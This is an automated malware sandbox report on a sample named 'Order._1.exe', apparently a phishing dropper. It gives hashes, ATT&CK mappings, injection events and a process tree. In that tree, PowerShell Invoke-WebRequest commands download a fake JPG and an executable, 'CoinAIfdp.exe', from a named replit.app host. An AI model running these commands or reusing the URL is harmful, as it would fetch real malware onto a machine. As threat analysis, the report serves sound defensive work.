cf4ff6cb9038c130e7b6d76daf2af62d018541c3d561d5e0aba8a34614ebc5d8

General

Target

Order._1.exe
Size

288KB
MD5

587be0c9be93274c3d38ef27c3a50aa4
SHA1

6808c0da1276c7ad2021ffb7c0b8d743f5c87b35
SHA256

cf4ff6cb9038c130e7b6d76daf2af62d018541c3d561d5e0aba8a34614ebc5d8
SHA512

5d2dbadb93ae2d91c3e7af58be9b28a7270a86b1c3b2bfbae64f232a06f26efa72162dc4adb22ce1f269429eecb2d4b5b44e1c1494658de702c1f2dad0c9c879
SSDEEP

3072:Cq6+ouCpk2mpcWJ0r+QNTBf2Wk1qXkXRA4XTZ5N:Cldk1cWQRNTB+l8KN

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe
2796	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Order._1.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2784	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 1408	2220	Order._1.exe	30
PID 2220 wrote to memory of 1408	2220	Order._1.exe	30
PID 2220 wrote to memory of 1408	2220	Order._1.exe	30
PID 2220 wrote to memory of 1408	2220	Order._1.exe	30
PID 1408 wrote to memory of 2784	1408	cmd.exe	32
PID 1408 wrote to memory of 2784	1408	cmd.exe	32
PID 1408 wrote to memory of 2784	1408	cmd.exe	32
PID 1408 wrote to memory of 2796	1408	cmd.exe	33
PID 1408 wrote to memory of 2796	1408	cmd.exe	33
PID 1408 wrote to memory of 2796	1408	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\Order._1.exe
"C:\Users\Admin\AppData\Local\Temp\Order._1.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\944.tmp\945.tmp\946.bat C:\Users\Admin\AppData\Local\Temp\Order._1.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://secured-order-download-businessportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://secured-order-download-businessportal.replit.app/CoinAIfdp.exe' -OutFile CoinAIfdp.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\944.tmp\945.tmp\946.bat

Filesize
336B

MD5
01c5cda0bd57d42a84beff225913c7f6

SHA1
1047c8ce097c87214b5337c98278f4ce5a5896f7

SHA256
454734ff80f0ff62344d6adeaf700983b1d5da605d192226e3a1e40020ec0d31

SHA512
76af6d488d7fdf8d701d16e0c884811df4c7a7bf34b74c30f7e993490420ebb895889048ae9ec5ca82d037f49de42028fca751d66915df543cd4394fcff727b2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XQND8Z6PZDVDBR0JWWXD.temp

Filesize
7KB

MD5
1246af390489e41701a13219868a356a

SHA1
913b6d29c93c0ce14bc82d1bbba60375cb651f99

SHA256
d7916d717b796df18186e79cfa6659f0dcf55d9d474f458a188d42ada462956d

SHA512
e245d165a22174d7a5388bb190423ae673de10682eaa0eed18a540f5e28a8fb9ac3b607b31bcb9c822634a6621fbf0c40e757e06d2953df08546268ed5ba1954

Download Submit
memory/2784-6-0x000007FEF557E000-0x000007FEF557F000-memory.dmp

Filesize
4KB

Download
memory/2784-7-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2784-8-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2784-9-0x000007FEF52C0000-0x000007FEF5C5D000-memory.dmp

Filesize
9.6MB

Download
memory/2784-10-0x000007FEF52C0000-0x000007FEF5C5D000-memory.dmp

Filesize
9.6MB

Download
memory/2784-11-0x000007FEF52C0000-0x000007FEF5C5D000-memory.dmp

Filesize
9.6MB

Download
memory/2784-12-0x000007FEF52C0000-0x000007FEF5C5D000-memory.dmp

Filesize
9.6MB

Download
memory/2784-13-0x000007FEF52C0000-0x000007FEF5C5D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-19-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2796-20-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing